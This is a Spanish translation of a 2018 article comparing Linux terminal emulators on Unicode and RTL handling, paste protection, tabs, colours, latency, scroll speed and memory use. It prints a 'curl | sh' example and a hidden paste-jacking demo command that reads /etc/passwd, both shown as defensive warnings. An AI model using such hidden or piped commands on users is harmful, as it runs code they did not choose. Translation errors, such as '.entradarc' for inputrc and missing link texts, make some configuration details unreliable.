Unas pocas palabras de nuestra oficina de traducción: normalmente todo el mundo se esfuerza por traducir los materiales y publicaciones más recientes, y nosotros no somos una excepción. Pero los terminales no son algo que se actualice una vez a la semana. Por eso hemos traducido para usted un artículo de Antoine Beaupré, publicado en la primavera de 2018: a pesar de su considerable “antigüedad” según los estándares modernos, en nuestra opinión, el material no ha perdido en absoluto su relevancia. Además, originalmente era una serie de dos artículos, pero decidimos combinarlos en una publicación grande.
Las terminales tienen un lugar especial en la historia de la informática, pero en las últimas décadas se han visto obligadas a sobrevivir junto a la línea de comandos a medida que las interfaces gráficas se vuelven omnipresentes. reemplazó el suyo , que, a su vez, fueron una modificación de los sistemas basados en tarjetas perforadas e interruptores de palanca. Las distribuciones modernas vienen con una variedad de emuladores de terminales de todas las formas y colores. Y aunque muchos se contentan con el terminal estándar que les proporciona su entorno de trabajo, algunos utilizan con orgullo un software francamente exótico para ejecutar su shell o editor de texto favorito. Pero, como veremos en este artículo, no todos los terminales fueron creados con la misma imagen: difieren mucho en funcionalidad, tamaño y prestaciones.
Algunos terminales tienen agujeros de seguridad realmente sorprendentes, además la mayoría tiene un conjunto de funciones completamente diferente, desde soporte para una interfaz con pestañas hasta secuencias de comandos. Aunque nosotros , este artículo es una actualización del material anterior que ayudará a los lectores a determinar qué terminal usar en 2018. La primera mitad del artículo compara características y la segunda mitad evalúa el rendimiento.
Aquí están los terminales que revisé:
Es posible que estas no sean las últimas versiones, ya que estaba limitado a compilaciones estables al momento de escribir este artículo, que pude implementar en Debian 9 o Fedora 27. La única excepción es Alacritty. Es descendiente de terminales acelerados por GPU y está escrito en un lenguaje nuevo e inusual para esta tarea: Rust. Excluí los terminales web de mi revisión (incluidos los de ), porque las pruebas preliminares mostraron su rendimiento extremadamente pobre.
Soporte Unicode
Comencé mis pruebas con soporte Unicode. La primera prueba de los terminales fue mostrar la cadena Unicode de : “é, Δ, И, ק, م, ๗, あ, 叶, 葉 y 말”. Esta sencilla prueba muestra si el terminal puede funcionar correctamente en todo el mundo. El terminal xterm no muestra caracteres árabes. en la configuración predeterminada:
Por defecto, xterm utiliza la clásica fuente "fija", que, según , tiene "una cobertura sustancial de Unicode desde 1997". Algo sucede en esta fuente que hace que el carácter aparezca como un marco en blanco y solo cuando la fuente del texto aumenta a más de 20 puntos el carácter finalmente comienza a mostrarse correctamente. Sin embargo, esta "solución" interrumpe la visualización de otros caracteres Unicode:
Estas capturas de pantalla se tomaron en Fedora 27, ya que daba mejores resultados que Debian 9, donde algunas versiones anteriores de terminales (específicamente mlterm) no podían manejar las fuentes correctamente. Afortunadamente, esto se solucionó en versiones posteriores.
Ahora observe cómo se muestra la línea en xterm. Resulta que el símbolo Mem y los siguientes semíticos consulte los scripts de estilo RTL (), por lo que técnicamente deberían mostrarse de derecha a izquierda. Los navegadores web como Firefox 57 manejan correctamente la línea anterior. Una versión más simple del texto RTL es la palabra "" en hebreo (). dice lo siguiente:
“Muchos programas informáticos no pueden mostrar texto bidireccional correctamente. Por ejemplo, el nombre hebreo "Sara" consta de los caracteres sin (ש) (que aparece a la derecha), luego resh (ר) y finalmente he (ה) (que debería aparecer a la izquierda)."
Muchos terminales no pasan esta prueba: Alacritty, terminales Gnome y XFCE derivados de VTE, urxvt, st y xterm muestran "Sara" en orden inverso, como si hubiéramos escrito el nombre como "Aras".
Otro problema con los textos bidireccionales es que necesitan estar alineados de alguna manera, especialmente cuando se trata de mezclar textos RTL y LTR. Los scripts RTL deben ejecutarse desde el lado derecho de la ventana de la terminal, pero ¿qué debería suceder con las terminales que usan LTR English de forma predeterminada? La mayoría de ellos no tienen ningún mecanismo especial y alinean todo el texto a la izquierda (incluso en Konsole). Las excepciones son pterm y mlterm, que se adhieren a los estándares y alinean dichas líneas a la derecha.
Protección de inserción
La siguiente característica crítica que he identificado es la protección anti-inserción. Aunque es ampliamente conocido que hechizos como:
$ curl http://example.com/ | shson comandos push de ejecución de código, pocas personas saben que los comandos ocultos pueden colarse en la consola al copiar y pegar desde un navegador web, incluso después de una inspección cuidadosa. muestra brillantemente cuán inofensivo es el comando:
git clone git: //git.kernel.org/pub/scm/utils/kup/kup.gitse convierte en una gran molestia cuando se pega desde el sitio web de Horn en la terminal:
git clone /dev/null;
clear;
echo -n "Hello ";
whoami|tr -d 'n';
echo -e '!nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust!
Here'"'"'s the first line of your /etc/passwd: ';
head -n1 /etc/passwd
git clone git://git.kernel.org/pub/scm/utils/kup/kup.git¿Cómo funciona? El código malicioso está incluido en el bloque. , que se elimina de la vista del usuario mediante CSS.
está claramente diseñado para neutralizar tales ataques. En este modo, las terminales encierran el texto pegado en un par de secuencias de escape especiales para informar al shell sobre el origen del texto. Esto le dice al shell que puede ignorar los caracteres especiales que pueda contener el texto pegado. Todos los terminales hasta el venerable xterm admiten esta función, pero pegar en modo entre corchetes requiere soporte del shell o la aplicación que se ejecuta en el terminal. Por ejemplo, el software que utiliza (mismo Bash), necesita un archivo ~/.entradarc:
set enable-bracketed-paste onDesafortunadamente, el sitio de prueba de Horn también muestra cómo evitar esta protección a través del formato del texto y terminar prematuramente aplicándole el modo entre corchetes. Esto funciona porque algunos terminales no filtran correctamente las secuencias de escape antes de agregar las suyas propias. Por ejemplo, en el mío nunca pude completar con éxito las pruebas de Konsole ni siquiera con la configuración correcta. .entradarc archivo. Esto significa que puede dañar fácilmente la configuración de su sistema debido a una aplicación no compatible o un shell configurado incorrectamente. Esto es especialmente peligroso al iniciar sesión en servidores remotos, donde el trabajo de configuración cuidadoso es menos común, especialmente si tiene muchas máquinas remotas de este tipo.
Una buena solución a este problema es el complemento de confirmación de pegado para el terminal. urxvt, que simplemente pide permiso para insertar cualquier texto que contenga nuevas líneas. No he encontrado una opción más segura para el ataque de texto descrito por Horn.
Pestañas y perfiles
Una característica popular en este momento es la compatibilidad con una interfaz con pestañas, que definiremos como una ventana de terminal que contiene varios otros terminales. Esta función difiere para diferentes terminales, y aunque los terminales xterm tradicionales no admiten pestañas en absoluto, las encarnaciones de terminales más modernas como Xfce Terminal, GNOME Terminal y Konsole sí tienen esta función. Urxvt también admite pestañas, pero solo si usa un complemento. Pero en términos de compatibilidad con pestañas, Terminator es el líder indiscutible: no sólo admite pestañas, sino que también puede organizar terminales en cualquier orden (ver imagen a continuación).
Otra característica de Terminator es la capacidad de "agrupar" estas pestañas y enviar las mismas pulsaciones de teclas a múltiples terminales al mismo tiempo, proporcionando una herramienta básica para realizar operaciones masivas en múltiples servidores simultáneamente. También se implementa una característica similar en Konsole. Para utilizar esta función en otros terminales, deberá utilizar software de terceros como , o .
Las pestañas funcionan especialmente bien cuando se combinan con perfiles: por ejemplo, puedes tener una pestaña para el correo electrónico, otra para el chat, etc. Esto está bien soportado por Konsole Terminal y GNOME Terminal. Ambos permiten que cada pestaña inicie automáticamente su propio perfil. Terminator también admite perfiles, pero no pude encontrar una manera de iniciar automáticamente ciertos programas cuando abres una pestaña específica. Otros terminales no tienen ningún concepto de “perfil”.
Volantes
Lo último que cubriré en la primera parte de este artículo es la apariencia de los terminales. Por ejemplo, GNOME, Xfce y urxvt admiten la transparencia, pero recientemente dejaron de admitir imágenes de fondo, lo que obligó a algunos usuarios a cambiar al terminal. . Personalmente estoy contento con él y es simple. recursosx, que establece el conjunto base de colores de fondo para urxvt. Sin embargo, los temas de color no estándar también pueden crear problemas. Por ejemplo, con aplicaciones и , puesto que ya utilizan sus propios colores.
no admitía colores y los nuevos a menudo se limitaban a una paleta de 256 colores. Para los usuarios avanzados que diseñan sus terminales, los indicadores del shell o las barras de estado de manera compleja pueden ser una limitación molesta. rastrea qué terminales son compatibles con "True Color". Mis pruebas confirman que los terminales basados en st, Alacritty y VTE soportan True Color perfectamente. Otros terminales no salen muy bien parados en este aspecto y, de hecho, ni siquiera muestran 256 colores. A continuación puede ver la diferencia entre la compatibilidad con True Color en los terminales GNOME, st y xterm, que hacen un buen trabajo con su paleta de 256 colores, y urxvt, que no solo no pasa la prueba, sino que incluso muestra algunos caracteres parpadeantes en su lugar.
Algunas terminales también analizan el texto en busca de patrones de URL para hacer que se pueda hacer clic en los enlaces. Esto se aplica a todos los terminales derivados de VTE, mientras que urxvt requiere un complemento especial que transformaría las URL con un clic o usando un atajo de teclado. Otros terminales que he probado muestran URL de otras formas.
Por último, una nueva tendencia en terminales es la opcionalidad del buffer de desplazamiento. Por ejemplo, st no tiene búfer de desplazamiento; se supone que el usuario utilizará un multiplexor de terminal como tmux y .
Alacritty también carece de buffers de retroceso, pero su apoyo debido a los “amplios comentarios” sobre este tema por parte de los usuarios. Aparte de estos advenedizos, todos los terminales que he probado y que pude encontrar admiten el desplazamiento inverso.
Subtotales
En la segunda parte del material (en el original se trataba de dos artículos diferentes: aprox. carril) compararemos el rendimiento, el uso de memoria y la latencia. Pero ya podemos ver que algunos de los terminales en cuestión tienen serias carencias. Por ejemplo, los usuarios que trabajan habitualmente con scripts RTL pueden querer considerar mlterm y pterm, ya que son mejores que otros para manejar tareas similares. Konsole también tuvo un buen desempeño. Los usuarios que no trabajan con scripts RTL pueden elegir otra cosa.
En términos de protección contra la inserción de códigos maliciosos, urxvt destaca por su implementación especial de protección contra este tipo de ataques, lo que me parece definitivamente conveniente. Para aquellos que buscan algunas comodidades, vale la pena echarle un vistazo a Konsole. Finalmente, vale la pena señalar que VTE es una excelente base para terminales, que garantiza compatibilidad con colores, reconocimiento de URL, etc. A primera vista, el terminal predeterminado que viene con su entorno favorito puede cumplir todos los requisitos, pero dejemos esta pregunta abierta hasta que comprendamos el rendimiento.
Continuamos la conversacion
En general, el rendimiento de los terminales en sí puede parecer un problema inverosímil, pero resulta que algunos de ellos presentan una latencia sorprendentemente alta para un software de un tipo tan fundamental. También a continuación nos fijaremos en lo que tradicionalmente se llama “velocidad” (de hecho, es la velocidad de desplazamiento) y el consumo de memoria del terminal (con la salvedad de que esto no es tan crítico hoy en día como lo era hace décadas).
Retrasado
Después de un estudio exhaustivo del rendimiento del terminal, llegué a la conclusión de que el parámetro más importante a este respecto es la latencia (ping). en su articulo Pavel Fatin analizó la latencia de varios editores de texto e insinuó que, en este sentido, los terminales pueden ser más lentos que los editores de texto más rápidos. Fue esta pista la que finalmente me llevó a realizar mis propias pruebas y escribir este artículo.
Pero, ¿qué es la latencia y por qué es tan importante? En su artículo, Fatin lo definió como “el retraso entre presionar una tecla y la correspondiente actualización de pantalla” y citó , que afirma: "El retraso en la respuesta visual en la pantalla de una computadora tiene un impacto importante en el comportamiento y la satisfacción del mecanógrafo".
Fatin explica que este ping tiene consecuencias más profundas que la simple satisfacción: “la escritura se vuelve más lenta, se producen más errores y aumenta la tensión ocular y muscular”. En otras palabras, un gran retraso puede provocar errores tipográficos y también una menor calidad del código, ya que genera una carga cognitiva adicional en el cerebro. Pero lo peor es que el ping "aumenta la tensión ocular y muscular", lo que parece implicar en el futuro (Al parecer, el autor se refiere a problemas con los músculos de los ojos, la espalda, los brazos y, por supuesto, la visión: aprox. carril) debido al estrés repetitivo.
Algunos de estos efectos se conocen desde hace mucho tiempo y los resultados , publicado en 1976 en la revista Ergonomía, decía que un retraso de 100 milisegundos "perjudica significativamente la velocidad de escritura". Más recientemente, se presentó la Guía del usuario de GNOME. en 10 milisegundos, y si vas más lejos, entonces muestra que 1 milisegundo es ideal.
Fatin realizó sus pruebas con editores de texto; Creó un instrumento portátil llamado , que utilicé para probar el ping en emuladores de terminal. Tenga en cuenta que la prueba se realizó en modo de simulación: en realidad, debemos tener en cuenta la latencia tanto de entrada (teclado, controlador USB, etc.) como de salida (búfer de tarjeta de video, monitor). Según Fatin, en configuraciones típicas es de unos 20 ms. Si tienes un equipo gaming, podrás conseguir esta cifra en tan solo 3 milisegundos. Como ya contamos con un hardware tan rápido, la aplicación no tiene que agregar su propia latencia. El objetivo de Fatin es llevar la latencia de la aplicación a 1 milisegundo, o incluso lograr marcar sin como en .
Aquí están los resultados de mis mediciones, así como algunos de los resultados de Fatin, para mostrar que mi experimento concuerda con sus pruebas:
Lo primero que me llamó la atención fue el mejor tiempo de respuesta de programas más antiguos como xterm y mlterm. Con la peor latencia de registro (2,4 ms), obtuvieron mejores resultados que el terminal moderno más rápido (10,6 ms para st). Ningún terminal moderno baja del umbral de los 10 milisegundos. En particular, Alacritty no cumple con la afirmación del "emulador de terminal más rápido disponible", aunque sus puntuaciones han mejorado desde su primera revisión en 2017. De hecho, los autores del proyecto. y estamos trabajando para mejorar la visualización. También cabe señalar que Vim que utiliza GTK3 es un orden de magnitud más lento que su homólogo GTK2. De esto podemos concluir que GTK3 crea latencia adicional, y esto se refleja en todos los demás terminales que lo utilizan (Terminator, Terminal Xfce4 y Terminal GNOME).
Sin embargo, es posible que las diferencias no sean perceptibles a simple vista. Como explica Fatin, “no hace falta estar pendiente del retraso para que te haga efecto”. Fatin también advierte sobre la desviación estándar: “cualquier alteración en la latencia (jitter) crea un estrés adicional debido a su imprevisibilidad”.
El gráfico anterior está tomado de Debian 9 puro (estirado) con . Este entorno produce los mejores resultados en las pruebas de latencia. Resulta que GNOME crea un ping adicional de 20 ms para todas las mediciones. Una posible explicación para esto es la presencia de programas con procesamiento sincrónico de eventos de entrada. Fatin da un ejemplo para tal caso , lo que agrega un retraso al procesar todos los eventos de entrada de forma sincrónica. Por defecto, GNOME también viene con un administrador de ventanas. , que crea una capa adicional de almacenamiento en búfer, que afecta el ping y agrega al menos 8 milisegundos de latencia.
Velocidad de desplazamiento
La siguiente prueba es una prueba tradicional de "velocidad" o "ancho de banda", que mide qué tan rápido el terminal puede desplazarse por una página mientras muestra grandes cantidades de texto en la pantalla. La mecánica de la prueba varía; la prueba original consistía simplemente en generar la misma cadena de texto usando el comando seq. Otras pruebas incluyen la prueba de Thomas E. Dickey (mantenedor de xterm), que repetidamente . En otro análisis del rendimiento del terminal utiliza una cadena codificada en base32 de bytes aleatorios, que se envía al terminal mediante cat. Luu considera que dicha prueba es "un punto de referencia tan inútil como uno pueda imaginar" y sugiere utilizar la respuesta terminal como métrica principal. Dickey también califica su prueba como engañosa. Sin embargo, ambos autores reconocen que el ancho de banda de la ventana del terminal puede ser un problema. Luu descubrió que Emacs Eshell se congelaba al mostrar archivos grandes y Dickey optimizó el terminal para eliminar la lentitud visual de xtrerm. Por lo tanto, esta prueba todavía tiene algo de mérito, pero dado que el proceso de renderizado es muy diferente de un terminal a otro, también se puede utilizar como componente de prueba para probar otros parámetros.
Aquí vemos al rxvt y al st adelantarse a la competencia, seguidos por el mucho más nuevo Alacritty, que está diseñado centrándose en el rendimiento. Los siguientes son Xfce (familia VTE) y Konsole, que son casi el doble de rápidos. El último es xterm, que es cinco veces más lento que rxvt. Durante la prueba, xterm también se alteró mucho, lo que hizo que el texto que pasaba fuera difícil de ver incluso si era la misma línea. Konsole era rápido, pero a veces era complicado: la pantalla se congelaba de vez en cuando, mostrando texto parcial o no lo mostraba en absoluto. Otros terminales mostraban cadenas claramente, incluidos st, Alacritty y rxvt.
Dickey explica que las diferencias de rendimiento se deben al diseño de los buffers de desplazamiento en diferentes terminales. En particular, acusa a rxvt y a otros terminales de "no seguir las reglas generales":
“A diferencia de xterm, rxvt no intentó mostrar todas las actualizaciones. Si se queda atrás, rechazará algunas actualizaciones para ponerse al día. Esto tuvo un mayor impacto en la velocidad de desplazamiento aparente que en la organización de la memoria interna. Un inconveniente fue que la animación ASCII era algo imprecisa."
Para solucionar esta lentitud percibida de xterm, Dickey sugiere utilizar el recurso , lo que permite a xterm descartar algunas actualizaciones de pantalla para mantenerse al día. Mis pruebas confirman que fastScroll mejora el rendimiento y pone a xterm a la par con rxvt. Esto, sin embargo, es un apoyo bastante difícil, como explica el propio Dickey: "a veces xterm - como konsole - parece detenerse mientras espera un nuevo conjunto de actualizaciones de pantalla después de que algunas hayan sido eliminadas". En este sentido, parece que otros terminales han encontrado el mejor compromiso entre velocidad e integridad de visualización.
Consumo de recursos
Independientemente de si tiene sentido considerar la velocidad de desplazamiento como métrica de rendimiento, esta prueba nos permite simular la carga en los terminales, lo que a su vez nos permite medir otros parámetros como la memoria o el uso del disco. Las métricas se obtuvieron ejecutando la prueba especificada. ss bajo monitoreo de procesos de Python. Recogió datos del medidor. para ru_maxrss, cantidad ru_oublock и ru_inblock y un temporizador simple.
En esta prueba, el ST ocupa el primer lugar con el consumo medio de memoria más bajo, 8 MB, lo que no sorprende teniendo en cuenta que la idea principal del diseño es la simplicidad. mlterm, xterm y rxvt consumen un poco más: unos 12 MB. Otro resultado notable es Alacritty, que requiere 30 MB para ejecutarse. Luego están los terminales de la familia VTE con cifras de 40 a 60 MB, que es bastante. Este consumo se puede explicar por el hecho de que estos terminales utilizan librerías de nivel superior, por ejemplo GTK. Konsole ocupa el último lugar con un enorme consumo de memoria de 65 MB durante las pruebas, aunque esto puede justificarse por su amplia gama de características.
En comparación con los resultados anteriores obtenidos hace diez años, todos los programas empezaron a consumir notablemente más memoria. Xterm solía requerir 4 MB, pero ahora requiere 15 MB justo al inicio. Hay un aumento similar en el consumo de rxvt, que ahora requiere 16 MB listos para usar. Xfce Terminal ocupa 34 MB, que es tres veces más grande que antes, pero GNOME Terminal requiere sólo 20 MB. Por supuesto, todas las pruebas anteriores se realizaron en arquitectura de 32 bits. En LCA 2012 Rusty Russell , que hay muchas razones más sutiles que podrían explicar el aumento del consumo de memoria. Dicho esto, ahora vivimos en una época en la que tenemos gigabytes de memoria, así que nos las arreglaremos de alguna manera.
Sin embargo, no puedo evitar sentir que asignar más memoria a algo tan fundamental como el terminal es un desperdicio de recursos. Estos programas deberían ser los más pequeños entre los más pequeños, deberían poder ejecutarse en cualquier “caja”, incluso una caja de zapatos, si alguna vez llegamos al punto en que necesiten estar equipados con sistemas Linux (y ustedes saben que así será). ). Pero con estos números, el uso de la memoria se convertirá en un problema en el futuro en cualquier entorno que ejecute múltiples terminales, excepto algunos de los más livianos y de capacidades más limitadas. Para compensar esto, GNOME Terminal, Konsole, urxvt, Terminator y Xfce Terminal tienen un modo Daemon que permite controlar múltiples terminales a través de un solo proceso, limitando su consumo de memoria.
Durante mis pruebas, llegué a otro resultado inesperado con respecto a la lectura y escritura del disco: esperaba no ver nada aquí, pero resultó que algunos terminales escriben la mayor cantidad de datos en el disco. Entonces, la biblioteca VTE en realidad mantiene un búfer de desplazamiento en el disco (esta característica , y esto todavía está sucediendo). Pero a diferencia de implementaciones anteriores, ahora al menos estos datos están cifrados usando AES256 GCM (). Pero surge una pregunta razonable: ¿qué tiene de especial la biblioteca VTE que requiere un enfoque de implementación tan no estándar...
Conclusión
En la primera parte del artículo, descubrimos que los terminales basados en VTE tienen un buen conjunto de características, pero ahora vemos que esto conlleva algunos costos de rendimiento. Ahora la memoria no es un problema porque todos los terminales VTE pueden controlarse mediante un proceso Daemon, lo que limita su apetito. Sin embargo, los sistemas más antiguos que tienen limitaciones físicas en la cantidad de RAM y buffers del kernel aún pueden necesitar versiones anteriores de terminales, ya que consumen muchos menos recursos. Aunque los terminales VTE obtuvieron buenos resultados en las pruebas de rendimiento (desplazamiento), su latencia de visualización está por encima del umbral establecido en la Guía del usuario de GNOME. Los desarrolladores de TEV probablemente deberían tener esto en cuenta. Si tenemos en cuenta que incluso para los usuarios novatos de Linux es inevitable encontrarse con una terminal, pueden hacerla más fácil de usar. Para los geeks experimentados, cambiar desde el terminal predeterminado puede incluso significar menos fatiga visual y la capacidad de evitar futuras lesiones y enfermedades relacionadas con el trabajo debido a largas sesiones de trabajo. Desafortunadamente, sólo los antiguos xterm y mlterm nos llevan al umbral mágico de ping de 10 milisegundos, lo cual es inaceptable para muchos.
Las mediciones comparativas también mostraron que debido al desarrollo de los entornos gráficos Linux, los desarrolladores tuvieron que hacer una serie de concesiones. Es posible que algunos usuarios quieran consultar los administradores de ventanas habituales, ya que proporcionan una reducción significativa del ping. Desafortunadamente, no fue posible medir la latencia de Wayland: el programa Typometer que utilicé fue creado para lo que Wayland está diseñado para evitar: espiar otras ventanas. Espero que la composición de Wayland funcione mejor que X.org, y también espero que en el futuro alguien encuentre una manera de medir la latencia en este entorno.
Fuente: habr.com